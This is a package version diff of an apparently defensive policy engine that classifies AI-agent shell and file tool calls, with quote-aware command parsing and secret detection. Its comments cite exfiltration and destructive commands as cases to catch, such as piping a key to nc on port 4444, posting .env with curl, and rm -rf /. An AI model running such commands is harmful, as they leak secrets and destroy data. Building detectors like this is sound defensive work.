fullcourtdefense-cli 1.31.0 → 1.32.0

package/dist/actionPolicyEngine.js

@@ -18,9 +18,11 @@
  * they diverge. Change this file? Copy it to the other location verbatim.
  */
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.MACHINE_KINDS = void 0;
+exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.CONTENT_FACT_FIELDS = exports.WORKSTATION_ASK_APPROVAL = exports.MACHINE_KINDS = void 0;
 exports.normalizeMachineKind = normalizeMachineKind;
 exports.policyTargetsMachineKind = policyTargetsMachineKind;
+exports.ruleNeedsContentFact = ruleNeedsContentFact;
+exports.isLocalFileContentAction = isLocalFileContentAction;
 exports.resolveApprovalOptions = resolveApprovalOptions;
 exports.effectiveApprovalScope = effectiveApprovalScope;
 exports.deriveToolOperations = deriveToolOperations;
@@ -40,6 +42,68 @@ function policyTargetsMachineKind(appliesTo, kind) {
     const kinds = (appliesTo?.machineKinds || []).filter(Boolean);
     return kinds.length === 0 || kinds.includes(kind);
 }
+/**
+ * The developer Ask a softened block becomes: IDE prompt, asked EVERY time (no
+ * session memory — a Block-level rule is exactly where a second, different
+ * action must not ride on the first yes), blocks on timeout.
+ */
+exports.WORKSTATION_ASK_APPROVAL = {
+    scope: 'developer',
+    remember: 'none',
+    onTimeout: 'block',
+};
+/**
+ * LOCAL CONTENT CEILING.
+ *
+ * Facts about what the arguments CONTAIN. A rule that needs one of these to
+ * fire is a rule about content, and content on this machine's own disk is not
+ * exfiltration: typing a key into `.env`, pasting a token into a test fixture,
+ * reading a config file that holds a password. Secret scanning on file content
+ * is inherently approximate (there is no finite list of what a fake key looks
+ * like), and the industry treats it as advisory for exactly that reason — a
+ * hard stop on EDITING is how a developer loses trust in the product after two
+ * wrong blocks. So: a `block` that fires on a content fact for a LOCAL FILE
+ * action is recorded as a warning (verdict `log`, `loggedInsteadOfBlocked`),
+ * never enforced. The same content leaving the machine — an external
+ * destination, a recipient, a shell command that sends it — is untouched by
+ * this ceiling and still blocks. A policy marked `enforcement: 'hard'` is also
+ * untouched: the admin confirmed it should stop without asking.
+ */
+exports.CONTENT_FACT_FIELDS = new Set([
+    'toolArgs.containsSecret',
+    'toolArgs.secretKind',
+    'toolArgs.containsPii',
+]);
+/** Tool / operation names that mean "a file on this machine": read_file, edit_file, write_file, create_file, append_to_file, str_replace, ... */
+const LOCAL_FILE_ACTION_RE = /(?:^|_)(?:read|write|edit|create|append|save|touch|patch|replace|insert|update)(?:_(?:to|in|into))?_?(?:file|text|lines?|contents?)s?(?:$|_)|^(?:read|write|edit)$|^str_replace$/i;
+/** Does this rule need a content fact to fire? (A rule with no content constraint is about the ACTION, not the content.) */
+function ruleNeedsContentFact(rule) {
+    return (rule.constraints || []).some(c => exports.CONTENT_FACT_FIELDS.has(c.field));
+}
+/**
+ * Is this call a LOCAL FILE action — content touching this machine's disk with
+ * nothing leaving the machine? Requires a file path, no external destination,
+ * no recipient, and a file-shaped tool or operation. A shell command is never
+ * a local file action here (the command line may send data in ways the URL
+ * parser cannot see), so `echo $KEY | nc host 4444` keeps its verdict.
+ */
+function isLocalFileContentAction(toolName, operation, context) {
+    if (!context.path)
+        return false;
+    if (context['destination.type'] === 'external')
+        return false;
+    if (context.to)
+        return false;
+    if (context.url)
+        return false;
+    // `edit-file`, `edit.file`, `StrReplace`, `writeFile` all read as snake_case words.
+    const normalize = (value) => (value || '').replace(/([a-z0-9])([A-Z])/g, '$1_$2').replace(/[-.\s]/g, '_');
+    const op = normalize(operation);
+    const tool = normalize(toolName);
+    if (toolCapabilities(toolName).has('code_execution'))
+        return false;
+    return LOCAL_FILE_ACTION_RE.test(op) || LOCAL_FILE_ACTION_RE.test(tool);
+}
 exports.DEFAULT_ACTION_POLICY_APPROVAL = {
     scope: 'org',
     remember: 'none',
@@ -223,6 +287,13 @@ function evaluateConstraint(constraint, context) {
         actual = normalizePathValue(actual);
         expected = normalizePathValue(expected);
     }
+    // A pattern constraint on a COMMAND LINE describes command words. Quoted
+    // argument values (a commit message, an issue title, a string literal in an
+    // inline script) are data and never satisfy `command matches **rm -rf /**`;
+    // the inner command of `bash -c "…"` / `ssh host "…"` still does.
+    if (COMMAND_LINE_FIELDS.has(constraint.field) && /^(?:not_)?(?:matches|contains)$/.test(constraint.operator)) {
+        actual = shellCommandWords(actual);
+    }
     if (IDENTITY_CONSTRAINT_FIELDS.has(constraint.field)) {
         const actualNorm = normalizeIdentityValue(constraint.field, actual);
         const expectedNorm = normalizeIdentityValue(constraint.field, expected);
@@ -446,6 +517,13 @@ const OPERATION_MATCH_SKIP_FIELDS = new Set([
     // is a read; the verb signal for file ops is the OPERATION (read/write/delete).
     // Paths stay in context for path-based rule CONSTRAINTS, which are unaffected.
     'path', 'filepath', 'file', 'filename', 'dir', 'directory', 'cwd',
+    // URLs and destination facts — WHERE a request goes, not WHAT it does. A GET of
+    // `/v1/transfer-limits` is a read; the verb of an HTTP action is its method /
+    // inferred operation, and `destination.type = external` stays available to
+    // constraints. (Real incident: a curl to a `transfer-limits` endpoint was paused
+    // for org approval by a money-movement rule listing TRANSFER.)
+    'url', 'uri', 'href', 'endpoint', 'link', 'destination.domain', 'destination.host', 'destination.type', 'destinationHost',
+    'host', 'hostname', 'to', 'recipient', 'recipients', 'from', 'cc', 'bcc',
 ]);
 function buildOperationMatchText(_toolName, context) {
     const parts = [];
@@ -458,12 +536,81 @@ function buildOperationMatchText(_toolName, context) {
         // pattern, a description) — never a command word. `git commit -m "delete old
         // loader"` must not satisfy a DELETE rule; `systemctl restart api` still
         // satisfies RESTART because the verb is an unquoted command word.
-        const text = COMMAND_LINE_FIELDS.has(key) ? value.replace(/"(?:[^"\\]|\\.)*"|'[^']*'/g, ' ') : value;
+        const text = COMMAND_LINE_FIELDS.has(key) ? shellVerbWords(value) : value;
         parts.push(`${key} ${text}`);
     }
     return parts.join(' ');
 }
 const COMMAND_LINE_FIELDS = new Set(['command', 'cmd', 'commandLine', 'script', 'args']);
+/**
+ * Tool NAMES that run a command line / code. Tested against the separator-
+ * normalized name (`_`, `-`, `.` → space): `shell`, `shell_command`, `run_terminal_cmd`,
+ * `execute_command`, `node_repl`, `Bash`, `powershell`. One definition for both the
+ * "skip SQL sniffing" and "classify with the shell model" decisions so a tool can
+ * never be a code-exec tool for one and not the other.
+ */
+const CODE_EXEC_TOOL_NAME_RE = /\b(node ?repl|repl|shell|exec|execute|terminal|command|cmd|run ?code|bash|zsh|sh|powershell|pwsh)\b/i;
+/**
+ * The words of a command line that can carry an operation VERB: the program,
+ * its bare subcommand words, its flags (a flag is part of what a command DOES:
+ * `rsync --delete`, `curl -T`, `redis-cli --rdb`) and dot-commands (`sqlite3
+ * .dump`). Operands are nouns and are dropped: file paths, URLs, variables,
+ * assignments and flag VALUES — `node fcd-wire-enforcement.js` is not a WIRE,
+ * `cd /srv/payments` is not a PAYMENT, `--name=transfer` keeps only `--name`.
+ * Hyphenated / snake_case words follow the CLI verb-first convention
+ * (`terminate-instances`, `delete-stack`, `remove-item`): only the head segment
+ * is a verb candidate, the rest is glued into one noun, so TERMINATE matches
+ * `terminate-instances` while WIRE cannot match `fcd-wire-enforcement`.
+ * Used ONLY for operation keyword matching; `command matches / contains`
+ * constraints keep the full shellCommandWords view (a glob may name anything).
+ */
+function shellVerbWords(command) {
+    let lead = '';
+    return shellCommandWords(command)
+        .split(/\s+/)
+        .filter(Boolean)
+        .map(token => {
+        if (token === ';') {
+            lead = '';
+            return token;
+        }
+        const flag = /^(-{1,2})([A-Za-z][A-Za-z0-9_-]*)(?:=.*)?$/.exec(token);
+        const word = flag ? flag[2] : /^\.?[A-Za-z][A-Za-z0-9_-]*$/.test(token) ? token : '';
+        if (!word)
+            return '';
+        if (!flag && !lead)
+            lead = word.toLowerCase();
+        if (flag) {
+            // Version-control flags name REFS, not data: `git push --delete <branch>`,
+            // `git branch -D`, `gh pr merge --delete-branch` remove a branch pointer that
+            // the reflog / merged commits still hold — housekeeping the same routine
+            // corpus already accepts for `git clean -fd` and `git reset --hard`.
+            if (VCS_PROGRAMS.has(lead))
+                return '';
+            // A COMPOUND flag (`--delete-branch`, `--remove-orphans`, `--delete-excluded`)
+            // is the NAME of an option, not a verb + object: glue it into one noun. A
+            // bare `--delete` (rsync, aws s3 sync) is still what the command does.
+            const segs = word.split(/[-_]+/).filter(Boolean);
+            if (segs.length > 1)
+                return `${flag[1]}${segs.join('')}`;
+        }
+        const dot = word.startsWith('.') ? '.' : '';
+        // A dot-word is a COMMAND only for programs that have dot-commands (`sqlite3
+        // .dump`). Everywhere else `.delete_branch_on_merge` (a jq / JSON field path),
+        // `.dump` in `jq .dump`, a dotfile or an extension is an operand — data.
+        if (dot && !DOT_COMMAND_PROGRAMS.has(lead))
+            return '';
+        const [head, ...rest] = word.replace(/^\./, '').split(/[-_]+/).filter(Boolean);
+        if (!head)
+            return '';
+        return `${flag ? flag[1] : dot}${head}${rest.length ? ` ${rest.join('')}` : ''}`;
+    })
+        .filter(Boolean)
+        .join(' ');
+}
+const VCS_PROGRAMS = new Set(['git', 'gh', 'hg', 'svn', 'glab']);
+/** Programs whose `.word` arguments are commands (`.dump`, `.tables`, `.schema`). */
+const DOT_COMMAND_PROGRAMS = new Set(['sqlite3', 'sqlite', 'litecli', 'duckdb']);
 function stringifyArgs(args) {
     try {
         return JSON.stringify(args || {});
@@ -500,13 +647,35 @@ function shannonEntropy(value) {
 function plausibleTokenBody(body) {
     if (/(.)\1{4,}/.test(body))
         return false;
+    if (REPEATED_CHUNK_RE.test(body))
+        return false;
     if (/^(?:[A-Za-z]+|[0-9]+)$/.test(body) && /^(?:abc|xyz|0123|1234|test|example|your|fake|dummy|sample)/i.test(body))
         return false;
+    // A random body never spells a dictionary placeholder word anywhere inside it
+    // (odds ~ 1 in 36^7 for "EXAMPLE"). Vendors reserve exactly such bodies for
+    // documentation: every AWS docs access key ends in EXAMPLE, secret keys in EXAMPLEKEY.
+    if (PLACEHOLDER_WORD_RE.test(body))
+        return false;
     return shannonEntropy(body) >= 3.0;
 }
+const PLACEHOLDER_WORD_RE = /example|sample|placeholder|redacted|dummy|changeme|fake|xxxx/i;
+/**
+ * A chunk of >= 3 characters repeated 3+ times back to back (`TestTokenTestToken
+ * TestToken…`, `abcabcabc`, `123123123`) is how humans pad a fixture to the
+ * right length; a random body repeats a 3-char chunk twice in a row with odds
+ * ~ 1 in 62^6 per position. Structural — no vocabulary.
+ */
+const REPEATED_CHUNK_RE = /(.{3,})\1{2,}/;
 function isHighEntropySecretToken(token) {
     if (token.length < 24 || token.length > 512)
         return false;
+    // `NAME=value` / `--flag=value` is an assignment expression, not a value: the
+    // identifier and the `=` add character classes and entropy that belong to the
+    // syntax. Judge the right-hand side alone (`GITHUB_TOKEN=process.env.API_KEY`
+    // is a reference; `GITHUB_TOKEN=<40 random chars>` is still a secret).
+    const assignment = /^-{0,2}[A-Za-z_][\w.-]*=(.+)$/.exec(token);
+    if (assignment)
+        return isHighEntropySecretToken(assignment[1]);
     // Any URI (postgres://, redis://, amqp://, https://…) is configuration; only
     // the password inside its userinfo can be a secret — judged as a value.
     if (/^[a-z][a-z0-9+.-]*:\/\//i.test(token))
@@ -567,6 +736,14 @@ function looksLikeSecretValue(raw) {
         return false;
     if (SECRET_CODE_EXPR_RE.test(value))
         return false;
+    // A regex literal (`TOKEN_RE = /[A-Za-z0-9]{16,}/g`) or a value carrying code
+    // structure — brackets open a character class, a group, a block, an index —
+    // is source, not a credential: no token format contains `[`, `(` or `{`.
+    if (/^\/(?:[\[(^\\.]|.*\/[gimsuy]*$)/.test(value) || /[\[({]/.test(value))
+        return false;
+    // Character-class ranges (`A-Za-z0-9._-`) are a regex alphabet being declared, not a value.
+    if (/(?:A-Z|a-z|0-9)/.test(value))
+        return false;
     // A URL, path or hostname as a "password" value is configuration, not a credential value.
     if (/^(?:https?:\/\/|[a-z]:\\|\.{0,2}\/|~\/)/i.test(value))
         return false;
@@ -583,6 +760,10 @@ function looksLikeSecretValue(raw) {
     // real, change-me, your-token-here), or a "fake/test/example/..." prefix.
     if (/(.)\1{4,}/.test(value))
         return false;
+    if (REPEATED_CHUNK_RE.test(value))
+        return false;
+    if (PLACEHOLDER_WORD_RE.test(value))
+        return false;
     if (/^[a-z]+(?:[-_.][a-z]+)+$/i.test(value))
         return false;
     if (/^(?:change|replace|your|my|our|example|sample|dummy|fake|test|mock|placeholder|not[-_]?real|do[-_]?not[-_]?use|insert|enter|put|paste)[-_]/i.test(value))
@@ -730,9 +911,180 @@ function extractUrl(args, _argsText) {
  * cannot see — is NOT workspace-scoped and stays a destructive DELETE.
  * Deterministic: decided from the command's own tokens, never from a guess.
  */
+/**
+ * Split a command line into shell segments (`a && b`, `a; b`, `a || b`, newlines)
+ * WITHOUT splitting inside quotes. `node -e "a; b; c"` is ONE segment whose
+ * argument is a program; `psql -c "DROP x; DROP y"` is one segment; the `;` in
+ * a commit message is punctuation. Backslash escapes inside double quotes are
+ * honoured; a single `|` (pipe) is kept inside the segment on purpose so
+ * `cat .env | curl -d @- …` and `curl … | sh` are still seen as one action.
+ */
+function splitShellSegments(command, alsoOnPipe = false) {
+    const out = [];
+    let cur = '';
+    let quote = null;
+    for (let i = 0; i < command.length; i++) {
+        const ch = command[i];
+        if (quote) {
+            cur += ch;
+            if (ch === '\\' && quote === '"' && i + 1 < command.length) {
+                cur += command[++i];
+                continue;
+            }
+            if (ch === quote)
+                quote = null;
+            continue;
+        }
+        // PowerShell here-string `@'…'@` / `@"…"@`: one opaque literal that may hold
+        // quotes, newlines and `;` of its own. Tracking its inner quotes by parity
+        // would flip the state on every `'` and leak its body as command words.
+        if (ch === '@' && (command[i + 1] === "'" || command[i + 1] === '"')) {
+            const end = hereStringEnd(command, i);
+            if (end > i) {
+                cur += command.slice(i, end);
+                i = end - 1;
+                continue;
+            }
+        }
+        if (ch === '"' || ch === "'") {
+            quote = ch;
+            cur += ch;
+            continue;
+        }
+        if (ch === '\n' || ch === ';') {
+            out.push(cur);
+            cur = '';
+            continue;
+        }
+        if (ch === '&' && command[i + 1] === '&') {
+            out.push(cur);
+            cur = '';
+            i++;
+            continue;
+        }
+        if (ch === '|' && command[i + 1] === '|') {
+            out.push(cur);
+            cur = '';
+            i++;
+            continue;
+        }
+        if (alsoOnPipe && ch === '|') {
+            out.push(cur);
+            cur = '';
+            continue;
+        }
+        cur += ch;
+    }
+    out.push(cur);
+    return out.map(s => s.trim()).filter(Boolean);
+}
+/**
+ * End (exclusive) of a PowerShell here-string starting at `start` (`@'` or `@"`).
+ * The terminator is the matching quote followed by `@` at the start of a line.
+ * Returns -1 when unterminated (then the `@` is an ordinary character).
+ */
+function hereStringEnd(command, start) {
+    const q = command[start + 1];
+    const close = `\n${q}@`;
+    const idx = command.indexOf(close, start + 2);
+    if (idx < 0)
+        return -1;
+    return idx + close.length;
+}
+/** Quoted literals in a segment: PowerShell here-strings first (they contain quotes), then "…" and '…'. */
+const QUOTED_LITERAL_RE = /@'[\s\S]*?\r?\n'@|@"[\s\S]*?\r?\n"@|"((?:[^"\\]|\\.)*)"|'([^']*)'/g;
+/** The quoted spans of a segment, unquoted — the argument VALUES a program was handed. */
+function quotedSpans(segment) {
+    const spans = [];
+    const re = new RegExp(QUOTED_LITERAL_RE.source, 'g');
+    let m;
+    while ((m = re.exec(segment))) {
+        if (m[0].startsWith('@')) {
+            spans.push(m[0].slice(2, m[0].length - 2).replace(/\r?\n$/, ''));
+            continue;
+        }
+        spans.push((m[1] !== undefined ? m[1].replace(/\\(.)/g, '$1') : m[2]) || '');
+    }
+    return spans;
+}
+/** The segment with quoted VALUES blanked: what the shell itself sees as command words. */
+function maskQuotedSpans(segment) {
+    return segment.replace(new RegExp(QUOTED_LITERAL_RE.source, 'g'), '""');
+}
+/**
+ * Programs that EXECUTE the command line they are handed as an argument: the
+ * quoted argument is a command, not data, and is classified as one.
+ */
+const SHELL_EXECUTOR_LEADS = new Set(['bash', 'sh', 'zsh', 'dash', 'ksh', 'fish', 'cmd', 'powershell', 'pwsh', 'eval', 'xargs', 'ssh', 'su', 'timeout', 'watch', 'script',
+    // PowerShell: these EXECUTE their string argument (a here-string included).
+    'invoke-expression', 'iex', 'invoke-command', 'icm', 'start-process', 'saps']);
+/** Language interpreters: their `-e` / `-c` argument is CODE in another language. */
+const SHELL_INTERPRETER_LEADS = new Set(['node', 'nodejs', 'deno', 'bun', 'python', 'python3', 'python2', 'py', 'perl', 'ruby', 'php', 'lua', 'Rscript', 'julia', 'tsx', 'ts-node']);
+/**
+ * A code snippet that reaches for a process-spawning API executes whatever
+ * string it passes there. Anything else it says (`console.log('rm -rf /')`, a
+ * doc string, a regex) is data. Structural: API names, not vocabulary.
+ */
+const CODE_SPAWNS_PROCESS_RE = /\b(?:child_process|execSync|execFileSync|spawnSync|spawn|execFile|exec|fork|os\.system|os\.popen|os\.exec[lvpe]*|subprocess|Popen|system|passthru|shell_exec|proc_open|popen|Process\.Start|Deno\.run|Deno\.Command|Bun\.spawn)\b/;
+/** Perl / Ruby run a shell through backticks and `%x{}`; in JavaScript a backtick is a template literal. */
+const BACKTICK_SHELL_LEADS = new Set(['perl', 'ruby']);
+function codeSpawnsProcess(code, lead) {
+    if (CODE_SPAWNS_PROCESS_RE.test(code))
+        return true;
+    return BACKTICK_SHELL_LEADS.has(lead) && /`[^`]*`|%x[\[{(]/.test(code);
+}
+/**
+ * The command lines an interpreter's code hands to the shell: each string
+ * literal on its own AND all literals in order — `subprocess.run(['terraform',
+ * 'destroy', '-auto-approve'])` is one command split across an argv list.
+ */
+function codeCommandLiterals(code, lead) {
+    const literals = quotedSpans(code).concat(BACKTICK_SHELL_LEADS.has(lead) ? (code.match(/`([^`]*)`/g)?.map(s => s.slice(1, -1)) || []) : []);
+    const sequence = literals.join(' ').trim();
+    return sequence && literals.length > 1 ? [...literals, sequence] : literals;
+}
+/**
+ * The text of a command line that the SHELL actually treats as command words:
+ * quoted argument values blanked, plus — recursively — the inner command of a
+ * shell executor (`bash -c "…"`, `ssh host "…"`), the statement handed to a SQL
+ * client, and the strings an interpreter's code passes to a process-spawning
+ * API. This is the single view used for glob operation matching and for
+ * `command matches / contains` constraints, so "wrote ABOUT a command" and
+ * "ran it" are told apart the same way everywhere.
+ */
+function shellCommandWords(command, depth = 0) {
+    const parts = [];
+    for (const segment of splitShellSegments(command)) {
+        const lead = shellSegmentLead(segment);
+        const lower = segment.toLowerCase();
+        if (SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(lower)) {
+            // The quoted STATEMENT executes — but a SQL string literal inside it
+            // (`where note like '%drop table%'`) is data, exactly like a shell argument.
+            parts.push(maskQuotedSpans(segment));
+            for (const statement of quotedSpans(segment))
+                parts.push(maskQuotedSpans(statement));
+            continue;
+        }
+        parts.push(maskQuotedSpans(segment));
+        if (depth >= 3)
+            continue;
+        if (SHELL_EXECUTOR_LEADS.has(lead)) {
+            for (const inner of quotedSpans(segment))
+                parts.push(shellCommandWords(inner, depth + 1));
+        }
+        else if (SHELL_INTERPRETER_LEADS.has(lead)) {
+            const code = quotedSpans(segment).join('\n');
+            if (code && codeSpawnsProcess(code, lead)) {
+                for (const literal of codeCommandLiterals(code, lead))
+                    parts.push(shellCommandWords(literal, depth + 1));
+            }
+        }
+    }
+    return parts.join(' ; ');
+}
 function isWorkspaceScopedRemoval(command) {
     // Only the removal segment: `npm run build && rm -rf dist` → `rm -rf dist`.
-    const segments = command.split(/\s*(?:&&|\|\||;|\|)\s*/);
+    const segments = splitShellSegments(command, true);
     const removal = segments.find(seg => /\b(rm|del|remove-item|rmdir)\b/i.test(seg)) || command;
     const tokens = removal.trim().split(/\s+/).slice(1);
     const targets = tokens.filter(t => !/^-/.test(t) && !/^\/[fqs]$/i.test(t) && !/^-(?:recurse|force|literalpath|path|erroraction)$/i.test(t));
@@ -793,26 +1145,61 @@ function shellSegmentLead(segment) {
     const lead = (tokens[i] || '').toLowerCase().replace(/^["']|["']$/g, '');
     return lead.replace(/^.*[\\/]/, '').replace(/\.(exe|cmd|bat|ps1)$/i, '');
 }
-function classifyShellSegment(segment) {
-    const value = segment.trim().toLowerCase();
-    if (!value)
+const worstShellOp = (ops, floor = 'read') => ops.reduce((w, op) => ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[w] || 0) ? op : w), floor);
+function classifyShellSegment(segment, depth = 0) {
+    const raw = segment.trim();
+    if (!raw)
         return 'read';
     const lead = shellSegmentLead(segment);
     // Shell navigation / session builtins do nothing to the machine on their own.
     if (SHELL_NEUTRAL_BUILTINS.has(lead) || /^\$env:[\w]+$/.test(lead) || /^\$\w+$/.test(lead))
         return 'read';
-    // Piping into an interpreter executes whatever came before — unknown code.
-    const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
     // A SQL client executes the statement it is given (`psql -c "DROP TABLE x"`,
     // `mysql -e …`, `echo "TRUNCATE …" | psql`). The exact SQL verb is the
     // operation, so DROP / TRUNCATE / DELETE / SELECT rules stay precise.
-    const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(value);
+    const rawLower = raw.toLowerCase();
+    const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(rawLower);
     if (sqlClient) {
         const verb = segment.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
         if (verb)
             return verb[1].toUpperCase();
         return 'SHELL';
     }
+    // A shell executor runs its quoted argument AS A COMMAND LINE: `bash -c "rm -rf /"`,
+    // `ssh prod "kubectl delete ns x"`, `cmd /c "…"`. Classify the inner command.
+    if (SHELL_EXECUTOR_LEADS.has(lead) && depth < 3) {
+        const inner = quotedSpans(raw).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
+        const outer = classifyShellWords(maskQuotedSpans(raw), raw, lead);
+        return worstShellOp([...inner, outer], 'SHELL');
+    }
+    // A language interpreter runs CODE. The code executes a shell only through a
+    // process-spawning API; then the strings it passes are command lines. Otherwise
+    // every word in it — a log line, a doc comment, a regex — is data.
+    if (SHELL_INTERPRETER_LEADS.has(lead) && depth < 3) {
+        const code = quotedSpans(raw).join('\n');
+        if (code && codeSpawnsProcess(code, lead)) {
+            const inner = codeCommandLiterals(code, lead).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
+            return worstShellOp(inner, 'SHELL');
+        }
+        return worstShellOp([classifyShellWords(maskQuotedSpans(raw), raw, lead)], 'SHELL');
+    }
+    // Every other program: its quoted arguments are VALUES (a commit message, a
+    // grep pattern, a description, a JSON body). Only the unquoted command words
+    // decide what the line does. Targets for scope decisions come from the raw line.
+    return classifyShellWords(maskQuotedSpans(raw), raw, lead);
+}
+/**
+ * Classify a segment from its COMMAND WORDS (`value` — quoted values blanked).
+ * `raw` is the unmasked segment, used only where an operand VALUE matters
+ * (removal targets for destructive scope, transfer operands, redirect targets).
+ */
+function classifyShellWords(masked, raw, lead) {
+    const value = masked.trim().toLowerCase();
+    if (!value)
+        return 'read';
+    // Piping into an interpreter executes whatever came before — unknown code.
+    const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
+    const segment = raw;
     if (/\b(curl|wget|invoke-restmethod|invoke-webrequest|iwr|irm)\b/.test(value)) {
         // Before the read programs so `cat .env | curl -d @- https://…` is still an
         // egress WRITE. The HTTP method comes from the method flag or a request-body
@@ -854,12 +1241,13 @@ function classifyShellSegment(segment) {
     // File transfers: the LAST operand is where the data goes. Remote last = upload
     // (egress write); remote first = download (read). `aws s3 cp x s3://b/`,
     // `gsutil cp x gs://b/`, `scp x user@host:`, `rsync x host:/path`.
-    const xfer = value.match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
-    if (xfer) {
+    // Operands may be quoted paths — match on the raw line, unquote each token.
+    const xfer = segment.toLowerCase().match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
+    if (xfer && /\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\b/.test(value)) {
         if (/az\s+storage\s+blob\s+upload/.test(value))
             return 'write';
         // Operands = tokens that are not flags and not the value of a `--flag value` pair.
-        const tokens = xfer[1].split(/\s+/).filter(Boolean);
+        const tokens = xfer[1].split(/\s+/).filter(Boolean).map(t => t.replace(/^["']|["']$/g, ''));
         const operands = [];
         for (let i = 0; i < tokens.length; i++) {
             if (tokens[i].startsWith('-')) {
@@ -881,17 +1269,11 @@ function classifyShellSegment(segment) {
     }
     return 'SHELL';
 }
-function classifyShellCommandOperation(command) {
-    const segments = command.split(/\s*(?:&&|\|\||;|\r?\n)\s*/).map(s => s.trim()).filter(Boolean);
+function classifyShellCommandOperation(command, depth = 0) {
+    const segments = splitShellSegments(command);
     if (segments.length === 0)
         return 'SHELL';
-    let worst = 'read';
-    for (const segment of segments) {
-        const op = classifyShellSegment(segment);
-        if ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[worst] || 0))
-            worst = op;
-    }
-    return worst;
+    return worstShellOp(segments.map(segment => classifyShellSegment(segment, depth)), 'read');
 }
 function isInternalHost(hostname) {
     const host = hostname.toLowerCase();
@@ -946,6 +1328,7 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
     let worstResult = { allowed: true, verdict: 'allow' };
     const matchText = buildOperationMatchText(toolName, context);
     const toolCaps = toolCapabilities(toolName || context.toolName || '');
+    const localFileContentAction = isLocalFileContentAction(toolName, operation, context);
     // When the call carries no concrete action (the inferred operation fell back to the tool name),
     // the tool's DECLARED operations stand in for what the call does — so a per-operation policy
     // (read/write/delete/drop/...) can still match a bare invocation. When the call DOES carry a
@@ -966,6 +1349,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
     const monitorMatches = [];
     let monitorWorst;
     const skippedOrgPolicies = [];
+    // A `block` from a policy marked `enforcement: 'hard'` — kept as a block even
+    // where a human is present (see the workstation ceiling below).
+    let hardBlock;
     for (const policy of policies) {
         // Org-scoped policies bind to attributed RUNTIME USERS — anonymous/system calls (no
         // developerName) are deliberately out of scope. Surfaced via skippedOrgPolicies so
@@ -991,7 +1377,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
             const matchedRule = `${rule.operations.join('/')} → ${rule.verdict}${constraintDesc ? ` (${constraintDesc})` : ''}`;
             // Monitor-stage policies never enforce — record what WOULD have happened.
             if (isMonitorStage) {
-                if (rule.verdict === 'block' || rule.verdict === 'require_approval') {
+                // A content-only block on a local file would be a warning even when enforced — not a "would block".
+                const wouldOnlyWarn = rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction;
+                if ((rule.verdict === 'block' || rule.verdict === 'require_approval') && !wouldOnlyWarn) {
                     const match = { policyId: policy.id, policyName: policy.name, verdict: rule.verdict, matchedRule };
                     monitorMatches.push(match);
                     if (!monitorWorst || verdictPriority[rule.verdict] > verdictPriority[monitorWorst.verdict])
@@ -999,18 +1387,32 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
                 }
                 continue;
             }
-            if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
-                worstResult = {
-                    allowed: rule.verdict === 'allow' || rule.verdict === 'log',
-                    verdict: rule.verdict,
-                    policyId: policy.id,
-                    policyName: policy.name,
-                    resourceType: policy.resourceType,
-                    matchedRule,
-                    reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
-                    ...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
+            let matched = {
+                allowed: rule.verdict === 'allow' || rule.verdict === 'log',
+                verdict: rule.verdict,
+                policyId: policy.id,
+                policyName: policy.name,
+                resourceType: policy.resourceType,
+                matchedRule,
+                reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
+                ...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
+            };
+            // Local content ceiling (see CONTENT_FACT_FIELDS): a block that fires on
+            // what a LOCAL FILE contains is recorded as a warning, never enforced.
+            if (rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction) {
+                matched = {
+                    ...matched,
+                    allowed: true,
+                    verdict: 'log',
+                    loggedInsteadOfBlocked: true,
+                    reason: `${matched.reason} — recorded as a warning: this only touches a file on this machine and nothing leaves it (the same content leaving the machine still blocks; mark the policy Hard block to stop file edits too)`,
                 };
             }
